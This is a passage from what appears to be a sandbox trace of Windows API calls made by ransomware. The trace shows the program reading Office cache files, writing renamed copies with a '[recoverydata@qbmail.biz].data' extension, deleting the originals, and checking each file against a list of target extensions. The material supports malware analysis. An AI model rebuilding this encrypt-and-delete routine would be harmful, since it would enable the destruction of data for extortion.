Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0079.801] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.801] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.801] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0079.802] GetLastError () returned 0x0 [0079.802] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x91975, lpOverlapped=0x0) returned 1 [0079.825] WriteFile (in: hFile=0x194, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0079.842] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.842] WriteFile (in: hFile=0x194, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xec, lpOverlapped=0x0) returned 1 [0079.842] SetEndOfFile (hFile=0x194) returned 1 [0079.842] CloseHandle (hObject=0x194) returned 1 [0081.830] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.830] SetEndOfFile (hFile=0x1b8) returned 1 [0082.314] CloseHandle (hObject=0x1b8) returned 1 [0082.314] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.315] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0082.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.315] lstrlenW (lpString=".doc") returned 4 [0082.315] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.315] lstrlenW (lpString=".docx") returned 5 [0082.315] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0082.315] lstrlenW (lpString=".pdf") returned 4 [0082.315] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.315] lstrlenW (lpString=".xls") returned 4 [0082.315] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.316] lstrlenW (lpString=".xlsx") returned 5 [0082.316] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0082.316] lstrlenW (lpString=".ppt") returned 4 [0082.316] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.316] lstrlenW (lpString=".zip") returned 4 [0082.316] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.316] lstrlenW (lpString=".rar") returned 4 [0082.316] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.316] lstrlenW (lpString=".bz2") returned 4 [0082.316] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.316] lstrlenW (lpString=".7z") returned 3 [0082.316] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.316] lstrlenW (lpString=".dbf") returned 4 [0082.316] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.316] lstrlenW (lpString=".1cd") returned 4 [0082.316] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.316] lstrlenW (lpString=".jpg") returned 4 [0082.316] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.316] lstrlenW (lpString=".doc") returned 4 [0082.316] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.316] lstrlenW (lpString=".docx") returned 5 [0082.316] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0082.317] lstrlenW (lpString=".pdf") returned 4 [0082.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.317] lstrlenW (lpString=".xls") returned 4 [0082.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.317] lstrlenW (lpString=".xlsx") returned 5 [0082.317] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0082.317] lstrlenW (lpString=".ppt") returned 4 [0082.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.317] lstrlenW (lpString=".zip") returned 4 [0082.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.317] lstrlenW (lpString=".rar") returned 4 [0082.317] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.317] lstrlenW (lpString=".bz2") returned 4 [0082.317] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.317] lstrlenW (lpString=".7z") returned 3 [0082.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.317] lstrlenW (lpString=".dbf") returned 4 [0082.317] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.317] lstrlenW (lpString=".1cd") returned 4 [0082.317] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0082.317] lstrlenW (lpString=".jpg") returned 4 [0082.317] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.318] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.318] lstrlenW (lpString="Setup.xml") returned 9 [0082.318] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0082.318] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=9352) returned 1 [0082.318] CloseHandle (hObject=0x1b8) returned 1 [0082.318] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0082.318] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.318] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0082.319] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.319] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.319] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0082.319] GetLastError () returned 0x0 [0082.319] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x2488, lpOverlapped=0x0) returned 1 [0082.427] WriteFile (in: hFile=0x1dc, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0082.429] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.429] WriteFile (in: hFile=0x1dc, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0082.429] SetEndOfFile (hFile=0x1dc) returned 1 [0082.429] CloseHandle (hObject=0x1dc) returned 1 [0082.430] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.431] SetEndOfFile (hFile=0x1b8) returned 1 [0082.432] CloseHandle (hObject=0x1b8) returned 1 [0082.432] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0082.433] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0082.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.433] lstrlenW (lpString=".doc") returned 4 [0082.433] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.433] lstrlenW (lpString=".docx") returned 5 [0082.433] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0082.433] lstrlenW (lpString=".pdf") returned 4 [0082.433] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.433] lstrlenW (lpString=".xls") returned 4 [0082.433] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.433] lstrlenW (lpString=".xlsx") returned 5 [0082.433] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0082.433] lstrlenW (lpString=".ppt") returned 4 [0082.433] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.434] lstrlenW (lpString=".zip") returned 4 [0082.434] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.434] lstrlenW (lpString=".rar") returned 4 [0082.434] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.434] lstrlenW (lpString=".bz2") returned 4 [0082.434] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.434] lstrlenW (lpString=".7z") returned 3 [0082.434] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.434] lstrlenW (lpString=".dbf") returned 4 [0082.434] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.434] lstrlenW (lpString=".1cd") returned 4 [0082.434] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.434] lstrlenW (lpString=".jpg") returned 4 [0082.434] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.434] lstrlenW (lpString=".doc") returned 4 [0082.434] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.434] lstrlenW (lpString=".docx") returned 5 [0082.434] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0082.435] lstrlenW (lpString=".pdf") returned 4 [0082.435] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.435] lstrlenW (lpString=".xls") returned 4 [0082.435] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.435] lstrlenW (lpString=".xlsx") returned 5 [0082.435] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0082.435] lstrlenW (lpString=".ppt") returned 4 [0082.435] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.435] lstrlenW (lpString=".zip") returned 4 [0082.435] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.435] lstrlenW (lpString=".rar") returned 4 [0082.435] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.435] lstrlenW (lpString=".bz2") returned 4 [0082.435] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.435] lstrlenW (lpString=".7z") returned 3 [0082.435] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.435] lstrlenW (lpString=".dbf") returned 4 [0082.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.435] lstrlenW (lpString=".1cd") returned 4 [0082.435] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0082.435] lstrlenW (lpString=".jpg") returned 4 [0082.435] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.436] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0082.436] lstrlenW (lpString="branding.xml") returned 12 [0082.436] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0082.449] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=596341) returned 1 [0082.449] CloseHandle (hObject=0x1b8) returned 1 [0082.449] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0082.449] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.449] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0082.450] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.450] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.450] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0082.450] GetLastError () returned 0x0 [0082.450] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x91975, lpOverlapped=0x0) returned 1 [0082.482] WriteFile (in: hFile=0x1dc, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0083.463] ReadFile (in: hFile=0x1b8, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.463] WriteFile (in: hFile=0x1dc, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xec, lpOverlapped=0x0) returned 1 [0083.464] SetEndOfFile (hFile=0x1dc) returned 1 [0083.464] CloseHandle (hObject=0x1dc) returned 1 [0083.478] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.478] SetEndOfFile (hFile=0x1b8) returned 1 [0083.784] CloseHandle (hObject=0x1b8) returned 1 [0083.784] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0083.785] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0083.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.785] lstrlenW (lpString=".doc") returned 4 [0083.785] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.785] lstrlenW (lpString=".docx") returned 5 [0083.785] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0083.785] lstrlenW (lpString=".pdf") returned 4 [0083.786] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.786] lstrlenW (lpString=".xls") returned 4 [0083.786] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.786] lstrlenW (lpString=".xlsx") returned 5 [0083.786] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0083.786] lstrlenW (lpString=".ppt") returned 4 [0083.786] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.786] lstrlenW (lpString=".zip") returned 4 [0083.786] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.786] lstrlenW (lpString=".rar") returned 4 [0083.786] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.786] lstrlenW (lpString=".bz2") returned 4 [0083.786] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.787] lstrlenW (lpString=".7z") returned 3 [0083.787] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.787] lstrlenW (lpString=".dbf") returned 4 [0083.787] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.787] lstrlenW (lpString=".1cd") returned 4 [0083.787] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.787] lstrlenW (lpString=".jpg") returned 4 [0083.787] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.788] lstrlenW (lpString=".doc") returned 4 [0083.788] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.788] lstrlenW (lpString=".docx") returned 5 [0083.788] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0083.788] lstrlenW (lpString=".pdf") returned 4 [0083.788] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.788] lstrlenW (lpString=".xls") returned 4 [0083.788] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.788] lstrlenW (lpString=".xlsx") returned 5 [0083.788] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0083.788] lstrlenW (lpString=".ppt") returned 4 [0083.788] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.788] lstrlenW (lpString=".zip") returned 4 [0083.789] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.789] lstrlenW (lpString=".rar") returned 4 [0083.789] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.789] lstrlenW (lpString=".bz2") returned 4 [0083.789] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.789] lstrlenW (lpString=".7z") returned 3 [0083.789] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.789] lstrlenW (lpString=".dbf") returned 4 [0083.789] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.789] lstrlenW (lpString=".1cd") returned 4 [0083.789] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0083.790] lstrlenW (lpString=".jpg") returned 4 [0083.790] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.790] lstrcmpiW (lpString1=".EPS", lpString2=".data") returned 1 [0083.790] lstrlenW (lpString="MS.EPS") returned 6 [0083.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0083.808] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=15067) returned 1 [0083.808] CloseHandle (hObject=0x1b8) returned 1 [0083.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0083.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 